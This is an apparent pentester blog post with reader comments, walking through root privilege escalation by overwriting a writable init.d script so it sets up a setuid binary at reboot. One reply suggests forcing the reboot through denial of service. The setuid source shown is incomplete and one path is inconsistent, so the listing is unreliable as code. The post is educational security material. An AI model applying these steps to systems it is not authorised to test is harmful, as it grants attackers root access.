Exploiting init.d for Fun and Profit

Exploiting init.d scripts based on security misconfigurations is a common, and generally easier to exploit, vector for privilege escalation. I'd like to cover an example of such an exploit this week, as well as an easy way to come across these.

It is not uncommon to come across an init.d script like the following while on an engagement.

noprivs@init-testbox:/etc/init.d$ ls -al /etc/init.d


lrwxrwxrwx  1 root root     5 Mar  7 14:49 Nginx_Drupal_agent -> /applications/performance/dynatrace/init.d


While the init script itself is just a symlink, we can see that the attacker does actually have write permissions to this script.

noprivs@init-testbox:/applications/performance/dynatrace/init.d$ ls -al Nginx*
ls -al Nginx*
-rwxr-xr-x 1 noprivs noprivs 2037 Mar  7 14:49 Nginx_Drupal_agent

In this case, our unprivileged user has write access to the init.d script, so we are able to create a much more malicious version (backing up the original of course).

noprivs@init-testbox:/applications/performance/dynatrace/init.d$ mv Nginx_Drupal_agent BAK_Nginx_Drupal_agent
noprivs@init-testbox:/applications/performance/dynatrace/init.d$ touch Nginx_Drupal_agent
noprivs@init-testbox:/applications/performance/dynatrace/init.d$ cat Nginx_Drupal_agent
chown root:root /home/noprivs/setuid
chmod 4755 /home/noprivs/setuid

With the new malicious init.d script created, I just needed to create the setuid target and verify the permissions.

noprivs@init-testbox:/applications/performance/dynatrace/init.d$ cat /home/noprivs/setuid.c
int main()
noprivs@init-testbox:/applications/performance/dynatrace/init.d$ ls -al /home/noprivs/setuid
-rwxrwxr-x 1 noprivs noprivs 6700 May  9 14:43 /tmp/setuid

With everything in place, all that we needed was a reboot to complete the privilege escalation!


noprivs@init-testbox:~$ ls -al ~/setuid
-rwsr-xr-x 1 root root 6700 May  9 16:13 /home/noprivs/setuid
noprivs@init-testbox:~$ ./setuid
uid=0(root) gid=0(root) groups=0(root),29011(noprivs)

To make finding possibly misconfigured init.d scripts, it also helps to use the pentestmonkey unix-privesc-check script.

For more information on /etc/inittab and /etc/init.d scripts, you can visit the tldp page on system booting.

doyler on Githubdoyler on Twitter
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

As an Amazon Associate I earn from qualifying purchases.

Common passed on this blog, I made it to a jam.


Filed under Security Not Included

8 Responses to Exploiting init.d for Fun and Profit

  1. Metalerk

    Fantastic !!

    • Thanks, and it’s always a useful exploit to keep in your back pocket. I can’t count how many times I’ve run across misconfigured inittab or init.d directories that were an easy escalation to root.

  2. Josh

    That was pretty dope.

  3. Jose

    But how do you reboot the machine if youโ€™re not root yet? Iโ€™m actually trying to exploit a lab VM that runs Apache James and has a misfconfigured service like this.

    Good article by the way.

    • If you aren’t yet root, you really only have two options.

      1. Wait for the machine to reboot “naturally”, which can be a bit harder on high uptime systems.
      2. Force a reboot of your own via some sort of DoS condition (an application, filling the /tmp directory, etc.)

      Thanks though, and hopefully it helped!

  4. Jose

    Thanks for reply.

    Well, there must be wait to start and stop the service? I am logged as James, after exploiting an Apache vulnerability, but James also owns a job that runs under root.

Leave a Reply

Your email address will not be published. Required fields are marked *

ERROR: si-captcha.php plugin: GD image support not detected in PHP!

Contact your web host and ask them to enable GD image support for PHP.

ERROR: si-captcha.php plugin: imagepng function not detected in PHP!

Contact your web host and ask them to enable imagepng for PHP.

This site uses Akismet to reduce spam. Learn how your comment data is processed.